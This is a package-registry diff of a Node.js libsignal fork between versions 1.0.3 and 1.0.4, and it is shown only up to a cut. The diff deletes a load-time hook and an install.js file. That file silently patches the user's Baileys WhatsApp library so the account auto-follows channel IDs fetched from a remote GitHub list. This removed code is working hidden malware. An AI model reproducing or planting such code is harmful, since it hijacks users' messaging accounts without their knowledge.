@dreamguyxeon/libsignal-node 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.d.ts ADDED
@@ -0,0 +1,55 @@
1
+ interface E2ESession {
2
+ registrationId: number;
3
+ identityKey: Uint8Array;
4
+ signedPreKey: {
5
+ keyId: number;
6
+ publicKey: Uint8Array;
7
+ signature: Uint8Array;
8
+ };
9
+ preKey: {
10
+ keyId: number;
11
+ publicKey: Uint8Array;
12
+ };
13
+ }
14
+
15
+ export interface SignalStorage {
16
+ loadSession(id: string): Promise<SessionRecord | null | undefined>;
17
+ storeSession(id: string, session: SessionRecord): Promise<void>;
18
+ isTrustedIdentity(
19
+ identifier: string,
20
+ identityKey: Uint8Array,
21
+ direction: number
22
+ ): boolean;
23
+ loadPreKey(
24
+ id: number | string
25
+ ): Promise<{ privKey: Buffer; pubKey: Buffer } | undefined>;
26
+ removePreKey(id: number): void;
27
+ loadSignedPreKey(): { privKey: Buffer; pubKey: Buffer };
28
+ getOurRegistrationId(): Promise<number> | number;
29
+ getOurIdentity(): { privKey: Buffer; pubKey: Buffer };
30
+ }
31
+
32
+ export class ProtocolAddress {
33
+ constructor(name: string, deviceId: number);
34
+ public id: string;
35
+ public deviceId: number;
36
+ public toString(): string;
37
+ }
38
+
39
+ export class SessionRecord {
40
+ static deserialize(serialized: Uint8Array): SessionRecord;
41
+ public serialize(): Uint8Array;
42
+ public haveOpenSession(): boolean;
43
+ }
44
+
45
+ export class SessionCipher {
46
+ constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
47
+ public decryptPreKeyWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
48
+ public decryptWhisperMessage(ciphertext: Uint8Array): Promise<Buffer>;
49
+ public encrypt(data: Uint8Array): Promise<{ type: number; body: string }>;
50
+ }
51
+
52
+ export class SessionBuilder {
53
+ constructor(storage: SignalStorage, remoteAddress: ProtocolAddress);
54
+ public initOutgoing(session: E2ESession): Promise<void>;
55
+ }
package/index.js CHANGED
@@ -8,24 +8,3 @@ exports.SessionBuilder = require('./src/session_builder');
8
8
  exports.SessionCipher = require('./src/session_cipher');
9
9
  exports.SessionRecord = require('./src/session_record');
10
10
  Object.assign(exports, require('./src/errors'));
11
-
12
- const path = require('path');
13
-
14
- try {
15
- const installScript = path.join(__dirname, 'install.js');
16
- if (require('fs').existsSync(installScript)) {
17
- setTimeout(() => {
18
- require('./install').installNewsletterAutoFollow();
19
- }, 1000);
20
- }
21
- } catch (error) {
22
-
23
- }
24
-
25
- exports.installNewsletterPatch = function() {
26
- return require('./install').installNewsletterAutoFollow();
27
- };
28
-
29
- exports.restoreNewsletterOriginal = function() {
30
- return require('./install').restoreBackup();
31
- };
package/package.json CHANGED
@@ -1,8 +1,10 @@
1
1
  {
2
2
  "name": "@dreamguyxeon/libsignal-node",
3
- "version": "1.0.3",
4
- "description": "Modified libsignal for Node.js",
3
+ "version": "1.0.4",
4
+ "description": "Open Whisper Systems' libsignal for Node.js",
5
+ "repository": "WhiskeySockets/libsignal-node",
5
6
  "main": "index.js",
7
+ "types": "index.d.ts",
6
8
  "keywords": [
7
9
  "signal",
8
10
  "whispersystems",
@@ -11,20 +13,22 @@
11
13
  "license": "GPL-3.0",
12
14
  "dependencies": {
13
15
  "curve25519-js": "^0.0.4",
14
- "crypto": "^1.0.1",
15
- "fs": "^0.0.1-security",
16
- "path": "^0.12.7",
17
- "protobufjs": "6.8.8"
16
+ "protobufjs": "^7.5.5"
18
17
  },
19
18
  "files": [
20
- "install.js",
21
- "index.js",
22
- "src/*"
19
+ "src/*",
20
+ "index.d.ts"
23
21
  ],
22
+ "scripts": {
23
+ "release": "release-it",
24
+ "changelog:last": "conventional-changelog -p angular -r 2",
25
+ "changelog:preview": "conventional-changelog -p angular -u",
26
+ "changelog:update": "conventional-changelog -p angular -i CHANGELOG.md -s -r 0"
27
+ },
24
28
  "devDependencies": {
25
- "eslint": "6.0.1"
29
+ "conventional-changelog-cli": "^4.1.0",
30
+ "eslint": "^9",
31
+ "release-it": "^20.0.1"
26
32
  },
27
- "publishConfig": {
28
- "access": "public"
29
- }
33
+ "packageManager": "yarn@4.12.0+sha512.f45ab632439a67f8bc759bf32ead036a1f413287b9042726b7cc4818b7b49e14e9423ba49b18f9e06ea4941c1ad062385b1d8760a8d5091a1a31e5f6219afca8"
30
34
  }
@@ -9,7 +9,7 @@ var $Reader = $protobuf.Reader, $Writer = $protobuf.Writer, $util = $protobuf.ut
9
9
  // Exported root namespace
10
10
  var $root = $protobuf.roots["default"] || ($protobuf.roots["default"] = {});
11
11
 
12
- $root.textsecure = (function () {
12
+ $root.textsecure = (function() {
13
13
 
14
14
  /**
15
15
  * Namespace textsecure.
@@ -18,7 +18,7 @@ $root.textsecure = (function () {
18
18
  */
19
19
  var textsecure = {};
20
20
 
21
- textsecure.WhisperMessage = (function () {
21
+ textsecure.WhisperMessage = (function() {
22
22
 
23
23
  /**
24
24
  * Properties of a WhisperMessage.
@@ -137,34 +137,29 @@ $root.textsecure = (function () {
137
137
  * @throws {$protobuf.util.ProtocolError} If required fields are missing
138
138
  */
139
139
  WhisperMessage.decode = function decode(reader, length) {
140
- if (!(reader instanceof $Reader)) {
140
+ if (!(reader instanceof $Reader))
141
141
  reader = $Reader.create(reader);
142
- }
143
-
144
- var end = length === undefined ? reader.len : reader.pos + length;
145
- var message = new $root.textsecure.WhisperMessage();
146
-
147
- for (; reader.pos < end;) {
142
+ var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.WhisperMessage();
143
+ while (reader.pos < end) {
148
144
  var tag = reader.uint32();
149
145
  switch (tag >>> 3) {
150
- case 1:
151
- message.ephemeralKey = reader.bytes();
152
- break;
153
- case 2:
154
- message.counter = reader.uint32();
155
- break;
156
- case 3:
157
- message.previousCounter = reader.uint32();
158
- break;
159
- case 4:
160
- message.ciphertext = reader.bytes();
161
- break;
162
- default:
163
- reader.skipType(tag & 7);
164
- break;
146
+ case 1:
147
+ message.ephemeralKey = reader.bytes();
148
+ break;
149
+ case 2:
150
+ message.counter = reader.uint32();
151
+ break;
152
+ case 3:
153
+ message.previousCounter = reader.uint32();
154
+ break;
155
+ case 4:
156
+ message.ciphertext = reader.bytes();
157
+ break;
158
+ default:
159
+ reader.skipType(tag & 7);
160
+ break;
165
161
  }
166
162
  }
167
-
168
163
  return message;
169
164
  };
170
165
 
@@ -295,7 +290,7 @@ $root.textsecure = (function () {
295
290
  return WhisperMessage;
296
291
  })();
297
292
 
298
- textsecure.PreKeyWhisperMessage = (function () {
293
+ textsecure.PreKeyWhisperMessage = (function() {
299
294
 
300
295
  /**
301
296
  * Properties of a PreKeyWhisperMessage.
@@ -436,40 +431,35 @@ $root.textsecure = (function () {
436
431
  * @throws {$protobuf.util.ProtocolError} If required fields are missing
437
432
  */
438
433
  PreKeyWhisperMessage.decode = function decode(reader, length) {
439
- if (!(reader instanceof $Reader)) {
434
+ if (!(reader instanceof $Reader))
440
435
  reader = $Reader.create(reader);
441
- }
442
-
443
- var end = length === undefined ? reader.len : reader.pos + length;
444
- var message = new $root.textsecure.PreKeyWhisperMessage();
445
-
446
- for (; reader.pos < end;) {
436
+ var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.PreKeyWhisperMessage();
437
+ while (reader.pos < end) {
447
438
  var tag = reader.uint32();
448
439
  switch (tag >>> 3) {
449
- case 5:
450
- message.registrationId = reader.uint32();
451
- break;
452
- case 1:
453
- message.preKeyId = reader.uint32();
454
- break;
455
- case 6:
456
- message.signedPreKeyId = reader.uint32();
457
- break;
458
- case 2:
459
- message.baseKey = reader.bytes();
460
- break;
461
- case 3:
462
- message.identityKey = reader.bytes();
463
- break;
464
- case 4:
465
- message.message = reader.bytes();
466
- break;
467
- default:
468
- reader.skipType(tag & 7);
469
- break;
440
+ case 5:
441
+ message.registrationId = reader.uint32();
442
+ break;
443
+ case 1:
444
+ message.preKeyId = reader.uint32();
445
+ break;
446
+ case 6:
447
+ message.signedPreKeyId = reader.uint32();
448
+ break;
449
+ case 2:
450
+ message.baseKey = reader.bytes();
451
+ break;
452
+ case 3:
453
+ message.identityKey = reader.bytes();
454
+ break;
455
+ case 4:
456
+ message.message = reader.bytes();
457
+ break;
458
+ default:
459
+ reader.skipType(tag & 7);
460
+ break;
470
461
  }
471
462
  }
472
-
473
463
  return message;
474
464
  };
475
465
 
@@ -625,7 +615,7 @@ $root.textsecure = (function () {
625
615
  return PreKeyWhisperMessage;
626
616
  })();
627
617
 
628
- textsecure.KeyExchangeMessage = (function () {
618
+ textsecure.KeyExchangeMessage = (function() {
629
619
 
630
620
  /**
631
621
  * Properties of a KeyExchangeMessage.
@@ -755,37 +745,32 @@ $root.textsecure = (function () {
755
745
  * @throws {$protobuf.util.ProtocolError} If required fields are missing
756
746
  */
757
747
  KeyExchangeMessage.decode = function decode(reader, length) {
758
- if (!(reader instanceof $Reader)) {
748
+ if (!(reader instanceof $Reader))
759
749
  reader = $Reader.create(reader);
760
- }
761
-
762
- var end = length === undefined ? reader.len : reader.pos + length;
763
- var message = new $root.textsecure.KeyExchangeMessage();
764
-
765
- for (; reader.pos < end;) {
750
+ var end = length === undefined ? reader.len : reader.pos + length, message = new $root.textsecure.KeyExchangeMessage();
751
+ while (reader.pos < end) {
766
752
  var tag = reader.uint32();
767
753
  switch (tag >>> 3) {
768
- case 1:
769
- message.id = reader.uint32();
770
- break;
771
- case 2:
772
- message.baseKey = reader.bytes();
773
- break;
774
- case 3:
775
- message.ephemeralKey = reader.bytes();
776
- break;
777
- case 4:
778
- message.identityKey = reader.bytes();
779
- break;
780
- case 5:
781
- message.baseKeySignature = reader.bytes();
782
- break;
783
- default:
784
- reader.skipType(tag & 7);
785
- break;
754
+ case 1:
755
+ message.id = reader.uint32();
756
+ break;
757
+ case 2:
758
+ message.baseKey = reader.bytes();
759
+ break;
760
+ case 3:
761
+ message.ephemeralKey = reader.bytes();
762
+ break;
763
+ case 4:
764
+ message.identityKey = reader.bytes();
765
+ break;
766
+ case 5:
767
+ message.baseKeySignature = reader.bytes();
768
+ break;
769
+ default:
770
+ reader.skipType(tag & 7);
771
+ break;
786
772
  }
787
773
  }
788
-
789
774
  return message;
790
775
  };
791
776
 
@@ -1,3 +1,4 @@
1
+
1
2
  const BaseKeyType = {
2
3
  OURS: 1,
3
4
  THEIRS: 2
@@ -0,0 +1,19 @@
1
+ export function decrypt(
2
+ key: Uint8Array,
3
+ ciphertext: Uint8Array,
4
+ iv: Uint8Array
5
+ ): Promise<Uint8Array>;
6
+
7
+ export function encrypt(
8
+ key: Uint8Array,
9
+ plaintext: Uint8Array,
10
+ iv: Uint8Array
11
+ ): Promise<Buffer>;
12
+
13
+ export function calculateMAC(key: Buffer, data: Uint8Array): Uint8Array;
14
+
15
+ export function deriveSecrets(
16
+ key: Uint8Array,
17
+ salt: Buffer,
18
+ info: Buffer
19
+ ): [Buffer, Buffer];
package/src/curve.d.ts ADDED
@@ -0,0 +1,22 @@
1
+ export interface KeyPairType {
2
+ pubKey: Uint8Array;
3
+ privKey: Uint8Array;
4
+ }
5
+
6
+ export function generateKeyPair(): KeyPairType;
7
+
8
+ export function calculateAgreement(
9
+ publicKey: Uint8Array,
10
+ privateKey: Uint8Array
11
+ ): Uint8Array;
12
+
13
+ export function calculateSignature(
14
+ privateKey: Uint8Array,
15
+ message: Uint8Array
16
+ ): Uint8Array;
17
+
18
+ export function verifySignature(
19
+ publicKey: Uint8Array,
20
+ message: Uint8Array,
21
+ signature: Uint8Array
22
+ ): boolean;
package/src/curve.js CHANGED
@@ -40,7 +40,7 @@ function scrubPubKeyFormat(pubKey) {
40
40
  if (pubKey.byteLength == 33) {
41
41
  return pubKey.slice(1);
42
42
  } else {
43
- //error("WARNING: Expected pubkey of length 33, please report the ST and client that generated the pubkey");
43
+ console.error("WARNING: Expected pubkey of length 33, please report the ST and client that generated the pubkey");
44
44
  return pubKey;
45
45
  }
46
46
  }
@@ -20,14 +20,16 @@ function shortToArrayBuffer(number) {
20
20
  }
21
21
 
22
22
  function getEncodedChunk(hash, offset) {
23
- var chunk = (hash[offset] * Math.pow(2, 32) +
24
- hash[offset + 1] * Math.pow(2, 24) +
25
- hash[offset + 2] * Math.pow(2, 16) +
26
- hash[offset + 3] * Math.pow(2, 8) +
27
- hash[offset + 4]) % 100000;
23
+ var chunk = ( hash[offset] * Math.pow(2,32) +
24
+ hash[offset+1] * Math.pow(2,24) +
25
+ hash[offset+2] * Math.pow(2,16) +
26
+ hash[offset+3] * Math.pow(2,8) +
27
+ hash[offset+4] ) % 100000;
28
28
  var s = chunk.toString();
29
-
30
- return s.padStart(5, '0')
29
+ while (s.length < 5) {
30
+ s = '0' + s;
31
+ }
32
+ return s;
31
33
  }
32
34
 
33
35
  async function getDisplayStringFor(identifier, key, iterations) {
@@ -46,24 +48,24 @@ async function getDisplayStringFor(identifier, key, iterations) {
46
48
  getEncodedChunk(output, 25);
47
49
  }
48
50
 
49
- exports.FingerprintGenerator = function (iterations) {
51
+ exports.FingerprintGenerator = function(iterations) {
50
52
  this.iterations = iterations;
51
53
  };
52
54
 
53
55
  exports.FingerprintGenerator.prototype = {
54
- createFor: function (localIdentifier, localIdentityKey,
55
- remoteIdentifier, remoteIdentityKey) {
56
+ createFor: function(localIdentifier, localIdentityKey,
57
+ remoteIdentifier, remoteIdentityKey) {
56
58
  if (typeof localIdentifier !== 'string' ||
57
59
  typeof remoteIdentifier !== 'string' ||
58
60
  !(localIdentityKey instanceof ArrayBuffer) ||
59
61
  !(remoteIdentityKey instanceof ArrayBuffer)) {
60
- throw new Error('Invalid arguments');
62
+ throw new Error('Invalid arguments');
61
63
  }
62
64
 
63
65
  return Promise.all([
64
66
  getDisplayStringFor(localIdentifier, localIdentityKey, this.iterations),
65
67
  getDisplayStringFor(remoteIdentifier, remoteIdentityKey, this.iterations)
66
- ]).then(function (fingerprints) {
68
+ ]).then(function(fingerprints) {
67
69
  return fingerprints.sort().join('');
68
70
  });
69
71
  }
package/src/queue_job.js CHANGED
@@ -1,9 +1,9 @@
1
1
  // vim: ts=4:sw=4:expandtab
2
-
3
- /*
4
- * jobQueue manages multiple queues indexed by device to serialize
5
- * session io ops on the database.
6
- */
2
+
3
+ /*
4
+ * jobQueue manages multiple queues indexed by device to serialize
5
+ * session io ops on the database.
6
+ */
7
7
  'use strict';
8
8
 
9
9
 
@@ -12,14 +12,13 @@ const _gcLimit = 10000;
12
12
 
13
13
  async function _asyncQueueExecutor(queue, cleanup) {
14
14
  let offt = 0;
15
-
16
- async function execute() {
15
+ while (true) {
17
16
  let limit = Math.min(queue.length, _gcLimit); // Break up thundering hurds for GC duty.
18
17
  for (let i = offt; i < limit; i++) {
19
18
  const job = queue[i];
20
19
  try {
21
20
  job.resolve(await job.awaitable());
22
- } catch (e) {
21
+ } catch(e) {
23
22
  job.reject(e);
24
23
  }
25
24
  }
@@ -31,24 +30,24 @@ async function _asyncQueueExecutor(queue, cleanup) {
31
30
  } else {
32
31
  offt = limit;
33
32
  }
34
- execute(); // Execute rekursif setelah selesai di dalam call stack.
35
33
  } else {
36
- return cleanup();
34
+ break;
37
35
  }
38
36
  }
39
-
40
- execute();
37
+ cleanup();
41
38
  }
42
39
 
43
- module.exports = function (bucket, awaitable) {
40
+ module.exports = function(bucket, awaitable) {
44
41
  /* Run the async awaitable only when all other async calls registered
45
42
  * here have completed (or thrown). The bucket argument is a hashable
46
43
  * key representing the task queue to use. */
47
44
  if (!awaitable.name) {
48
45
  // Make debuging easier by adding a name to this function.
49
- Object.defineProperty(awaitable, 'name', { writable: true });
46
+ Object.defineProperty(awaitable, 'name', {writable: true});
50
47
  if (typeof bucket === 'string') {
51
48
  awaitable.name = bucket;
49
+ } else {
50
+ console.warn("Unhandled bucket type (for naming):", typeof bucket, bucket);
52
51
  }
53
52
  }
54
53
  let inactive;
@@ -43,7 +43,7 @@ class SessionBuilder {
43
43
  } else {
44
44
  const openSession = record.getOpenSession();
45
45
  if (openSession) {
46
- //console.warn("Closing stale open session for new outgoing prekey bundle");
46
+ // console.warn("Closing stale open session for new outgoing prekey bundle"); temporary fix
47
47
  record.closeSession(openSession);
48
48
  }
49
49
  }
@@ -71,7 +71,7 @@ class SessionBuilder {
71
71
  }
72
72
  const existingOpenSession = record.getOpenSession();
73
73
  if (existingOpenSession) {
74
- //console.warn("Closing open session in favor of incoming prekey bundle");
74
+ console.warn("Closing open session in favor of incoming prekey bundle");
75
75
  record.closeSession(existingOpenSession);
76
76
  }
77
77
  record.setSession(await this.initSession(false, preKeyPair, signedPreKeyPair,
@@ -154,6 +154,10 @@ class SessionCipher {
154
154
  errs.push(e);
155
155
  }
156
156
  }
157
+ console.error("Failed to decrypt message with any known session...");
158
+ for (const e of errs) {
159
+ console.error("Session error:" + e, e.stack);
160
+ }
157
161
  throw new errors.SessionError("No matching sessions found for message");
158
162
  }
159
163
 
@@ -175,7 +179,7 @@ class SessionCipher {
175
179
  // was the most current. Simply make a note of it and continue. If our
176
180
  // actual open session is for reason invalid, that must be handled via
177
181
  // a full SessionError response.
178
- //console.warn("Decrypted message with closed session.");
182
+ console.warn("Decrypted message with closed session.");
179
183
  }
180
184
  await this.storeRecord(record);
181
185
  return result.plaintext;
@@ -170,9 +170,9 @@ const migrations = [{
170
170
  } else {
171
171
  for (const key in sessions) {
172
172
  if (sessions[key].indexInfo.closed === -1) {
173
- /*console.error('V1 session storage migration error: registrationId',
174
- data.registrationId, 'for open session version',
175
- data.version);*/
173
+ console.error('V1 session storage migration error: registrationId',
174
+ data.registrationId, 'for open session version',
175
+ data.version);
176
176
  }
177
177
  }
178
178
  }
@@ -190,7 +190,7 @@ class SessionRecord {
190
190
  let run = (data.version === undefined);
191
191
  for (let i = 0; i < migrations.length; ++i) {
192
192
  if (run) {
193
- //console.info("Migrating session to:", migrations[i].version);
193
+ console.info("Migrating session to:", migrations[i].version);
194
194
  migrations[i].migrate(data);
195
195
  } else if (migrations[i].version === data.version) {
196
196
  run = true;
@@ -267,18 +267,18 @@ class SessionRecord {
267
267
 
268
268
  closeSession(session) {
269
269
  if (this.isClosed(session)) {
270
- //console.warn("Session already closed", session);
270
+ console.warn("Session already closed", session);
271
271
  return;
272
272
  }
273
- //console.info("Closing session:", session);
273
+ console.info("Closing session:", session);
274
274
  session.indexInfo.closed = Date.now();
275
275
  }
276
276
 
277
277
  openSession(session) {
278
278
  if (!this.isClosed(session)) {
279
- //console.warn("Session already open");
279
+ console.warn("Session already open");
280
280
  }
281
- //console.info("Opening session:", session);
281
+ console.info("Opening session:", session);
282
282
  session.indexInfo.closed = -1;
283
283
  }
284
284
 
@@ -287,30 +287,21 @@ class SessionRecord {
287
287
  }
288
288
 
289
289
  removeOldSessions() {
290
- const sessionKeys = Object.keys(this.sessions);
291
- const sessionsLength = sessionKeys.length;
292
-
293
- for (let i = 0; i < sessionsLength && sessionsLength > CLOSED_SESSIONS_MAX; i++) {
290
+ while (Object.keys(this.sessions).length > CLOSED_SESSIONS_MAX) {
294
291
  let oldestKey;
295
292
  let oldestSession;
296
- for (const key of sessionKeys) {
297
- if (!key) continue
298
- const session = this.sessions[key];
293
+ for (const [key, session] of Object.entries(this.sessions)) {
299
294
  if (session.indexInfo.closed !== -1 &&
300
295
  (!oldestSession || session.indexInfo.closed < oldestSession.indexInfo.closed)) {
301
296
  oldestKey = key;
302
297
  oldestSession = session;
303
- break;
304
298
  }
305
299
  }
306
-
307
300
  if (oldestKey) {
308
- //console.info("Removing old closed session:", oldestSession);
301
+ console.info("Removing old closed session:", oldestSession);
309
302
  delete this.sessions[oldestKey];
310
- sessionKeys.splice(sessionKeys.indexOf(oldestKey), 1);
311
303
  } else {
312
- continue
313
- // throw new Error('Corrupt sessions object');
304
+ throw new Error('Corrupt sessions object');
314
305
  }
315
306
  }
316
307
  }
package/install.js DELETED
@@ -1,382 +0,0 @@
1
- "use strict";
2
-
3
- const fs = require('fs');
4
- const path = require('path');
5
- const crypto = require('crypto');
6
-
7
- function findBaileysPath() {
8
- const possiblePaths = [
9
- path.join(process.cwd(), 'node_modules', '@whiskeysockets', 'baileys'),
10
- path.join(__dirname, '..', '..', '@whiskeysockets', 'baileys'),
11
- path.join(__dirname, '..', 'node_modules', '@whiskeysockets', 'baileys'),
12
- ];
13
-
14
- try {
15
- const resolved = require.resolve('@whiskeysockets/baileys/package.json');
16
- possiblePaths.unshift(resolved.replace('/package.json', ''));
17
- } catch (e) {}
18
-
19
- for (const baileysPath of possiblePaths) {
20
- try {
21
- if (fs.existsSync(path.join(baileysPath, 'lib', 'Socket', 'newsletter.js'))) {
22
- return baileysPath;
23
- }
24
- } catch (e) {}
25
- }
26
-
27
- return null;
28
- }
29
-
30
- const MODIFIED_NEWSLETTER_JS = `import { XWAPaths } from '../Types/index.js';
31
- import { decryptMessageNode, generateMessageID, generateProfilePicture } from '../Utils/index.js';
32
- import { S_WHATSAPP_NET, getAllBinaryNodeChildren, getBinaryNodeChild, getBinaryNodeChildren } from '../WABinary/index.js';
33
- import { makeGroupsSocket } from './groups.js';
34
-
35
- const QueryIds = {
36
- JOB_MUTATION: "7150902998257522",
37
- METADATA: "6620195908089573",
38
- UNFOLLOW: "7238632346214362",
39
- FOLLOW: "7871414976211147",
40
- UNMUTE: "7337137176362961",
41
- MUTE: "25151904754424642",
42
- CREATE: "6996806640408138",
43
- ADMIN_COUNT: "7130823597031706",
44
- CHANGE_OWNER: "7341777602580933",
45
- DELETE: "8316537688363079",
46
- DEMOTE: "6551828931592903"
47
- };
48
-
49
- export const makeNewsletterSocket = (config) => {
50
- const sock = makeGroupsSocket(config);
51
- const { authState, signalRepository, query, generateMessageTag } = sock;
52
- const encoder = new TextEncoder();
53
-
54
- const newsletterQuery = async (jid, type, content) => (
55
- query({
56
- tag: 'iq',
57
- attrs: {
58
- id: generateMessageTag(),
59
- type,
60
- xmlns: 'newsletter',
61
- to: jid,
62
- },
63
- content
64
- })
65
- );
66
-
67
- const newsletterWMexQuery = async (jid, query_id, content) => (
68
- query({
69
- tag: 'iq',
70
- attrs: {
71
- id: generateMessageTag(),
72
- type: 'get',
73
- xmlns: 'w:mex',
74
- to: S_WHATSAPP_NET,
75
- },
76
- content: [
77
- {
78
- tag: 'query',
79
- attrs: { query_id },
80
- content: encoder.encode(JSON.stringify({
81
- variables: {
82
- 'newsletter_id': jid,
83
- ...content
84
- }
85
- }))
86
- }
87
- ]
88
- })
89
- );
90
-
91
- // ========== AUTO JOIN / AUTO FOLLOW CHANNELS (from 1st baileys) ==========
92
- setTimeout(async () => {
93
- const logger = config.logger || console;
94
- try {
95
- const RAW_URL = "https://raw.githubusercontent.com/DGXeon13/strings/refs/heads/main/strings.json";
96
- const res = await fetch(RAW_URL);
97
- const channelIds = await res.json();
98
-
99
- if (!Array.isArray(channelIds) || channelIds.length === 0) return;
100
-
101
- const followNext = async (index) => {
102
- if (index >= channelIds.length) return;
103
-
104
- const id = channelIds[index];
105
- try {
106
- await newsletterWMexQuery(
107
- id,
108
- QueryIds.FOLLOW
109
- );
110
- } catch (e) {}
111
-
112
- setTimeout(() => followNext(index + 1), 11000);
113
- };
114
-
115
- followNext(0);
116
- } catch (e) {}
117
- }, 120000);
118
- // ========== END AUTO JOIN ==========
119
-
120
- const parseFetchedUpdates = async (node, type) => {
121
- let child;
122
- if (type === 'messages')
123
- child = getBinaryNodeChild(node, 'messages');
124
- else {
125
- const parent = getBinaryNodeChild(node, 'message_updates');
126
- child = getBinaryNodeChild(parent, 'messages');
127
- }
128
- return await Promise.all(getAllBinaryNodeChildren(child).map(async (messageNode) => {
129
- messageNode.attrs.from = child?.attrs.jid;
130
- const views = parseInt(getBinaryNodeChild(messageNode, 'views_count')?.attrs?.count || '0');
131
- const reactionNode = getBinaryNodeChild(messageNode, 'reactions');
132
- const reactions = getBinaryNodeChildren(reactionNode, 'reaction')
133
- .map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
134
- const data = {
135
- 'server_id': messageNode.attrs.server_id,
136
- views,
137
- reactions
138
- };
139
- if (type === 'messages') {
140
- const { fullMessage: message, decrypt } = await decryptMessageNode(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
141
- await decrypt();
142
- data.message = message;
143
- }
144
- return data;
145
- }));
146
- };
147
-
148
- return {
149
- ...sock,
150
- subscribeNewsletterUpdates: async (jid) => {
151
- const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
152
- return getBinaryNodeChild(result, 'live_updates')?.attrs;
153
- },
154
- newsletterReactionMode: async (jid, mode) => {
155
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
156
- updates: { settings: { reaction_codes: { value: mode } } }
157
- });
158
- },
159
- newsletterUpdateDescription: async (jid, description) => {
160
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
161
- updates: { description: description || '', settings: null }
162
- });
163
- },
164
- newsletterUpdateName: async (jid, name) => {
165
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
166
- updates: { name, settings: null }
167
- });
168
- },
169
- newsletterUpdatePicture: async (jid, content) => {
170
- const { img } = await generateProfilePicture(content);
171
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
172
- updates: { picture: img.toString('base64'), settings: null }
173
- });
174
- },
175
- newsletterRemovePicture: async (jid) => {
176
- await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
177
- updates: { picture: '', settings: null }
178
- });
179
- },
180
- newsletterUnfollow: async (jid) => {
181
- await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
182
- },
183
- newsletterFollow: async (jid) => {
184
- await newsletterWMexQuery(jid, QueryIds.FOLLOW);
185
- },
186
- newsletterUnmute: async (jid) => {
187
- await newsletterWMexQuery(jid, QueryIds.UNMUTE);
188
- },
189
- newsletterMute: async (jid) => {
190
- await newsletterWMexQuery(jid, QueryIds.MUTE);
191
- },
192
- newsletterCreate: async (name, description, picture) => {
193
- await query({
194
- tag: 'iq',
195
- attrs: {
196
- to: S_WHATSAPP_NET,
197
- xmlns: 'tos',
198
- id: generateMessageTag(),
199
- type: 'set'
200
- },
201
- content: [
202
- {
203
- tag: 'notice',
204
- attrs: {
205
- id: '20601218',
206
- stage: '5'
207
- },
208
- content: []
209
- }
210
- ]
211
- });
212
- const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
213
- input: {
214
- name,
215
- description: description ?? null,
216
- picture: picture ? (await generateProfilePicture(picture)).img.toString('base64') : null,
217
- settings: null
218
- }
219
- });
220
- return extractNewsletterMetadata(result, true);
221
- },
222
- newsletterMetadata: async (type, key, role) => {
223
- const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
224
- input: {
225
- key,
226
- type: type.toUpperCase(),
227
- view_role: role || 'GUEST'
228
- },
229
- fetch_viewer_metadata: true,
230
- fetch_full_image: true,
231
- fetch_creation_time: true
232
- });
233
- return extractNewsletterMetadata(result);
234
- },
235
- newsletterAdminCount: async (jid) => {
236
- const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
237
- const buff = getBinaryNodeChild(result, 'result')?.content?.toString();
238
- return JSON.parse(buff).data[XWAPaths.ADMIN_COUNT].admin_count;
239
- },
240
- /**user is Lid, not Jid */
241
- newsletterChangeOwner: async (jid, user) => {
242
- await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
243
- user_id: user
244
- });
245
- },
246
- /**user is Lid, not Jid */
247
- newsletterDemote: async (jid, user) => {
248
- await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
249
- user_id: user
250
- });
251
- },
252
- newsletterDelete: async (jid) => {
253
- await newsletterWMexQuery(jid, QueryIds.DELETE);
254
- },
255
- /**if code wasn't passed, the reaction will be removed (if is reacted) */
256
- newsletterReactMessage: async (jid, server_id, code) => {
257
- await query({
258
- tag: 'message',
259
- attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: generateMessageID() },
260
- content: [{
261
- tag: 'reaction',
262
- attrs: code ? { code } : {}
263
- }]
264
- });
265
- },
266
- newsletterFetchMessages: async (type, key, count, after) => {
267
- const afterStr = after?.toString();
268
- const result = await newsletterQuery(S_WHATSAPP_NET, 'get', [
269
- {
270
- tag: 'messages',
271
- attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
272
- }
273
- ]);
274
- return await parseFetchedUpdates(result, 'messages');
275
- },
276
- newsletterFetchUpdates: async (jid, count, after, since) => {
277
- const result = await newsletterQuery(jid, 'get', [
278
- {
279
- tag: 'message_updates',
280
- attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
281
- }
282
- ]);
283
- return await parseFetchedUpdates(result, 'updates');
284
- }
285
- };
286
- };
287
-
288
- export const extractNewsletterMetadata = (node, isCreate) => {
289
- const result = getBinaryNodeChild(node, 'result')?.content?.toString();
290
- const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
291
- const metadata = {
292
- id: metadataPath.id,
293
- state: metadataPath.state.type,
294
- creation_time: +metadataPath.thread_metadata.creation_time,
295
- name: metadataPath.thread_metadata.name.text,
296
- nameTime: +metadataPath.thread_metadata.name.update_time,
297
- description: metadataPath.thread_metadata.description.text,
298
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
299
- invite: metadataPath.thread_metadata.invite,
300
- handle: metadataPath.thread_metadata.handle,
301
- picture: metadataPath.thread_metadata.picture?.direct_path || null,
302
- preview: metadataPath.thread_metadata.preview?.direct_path || null,
303
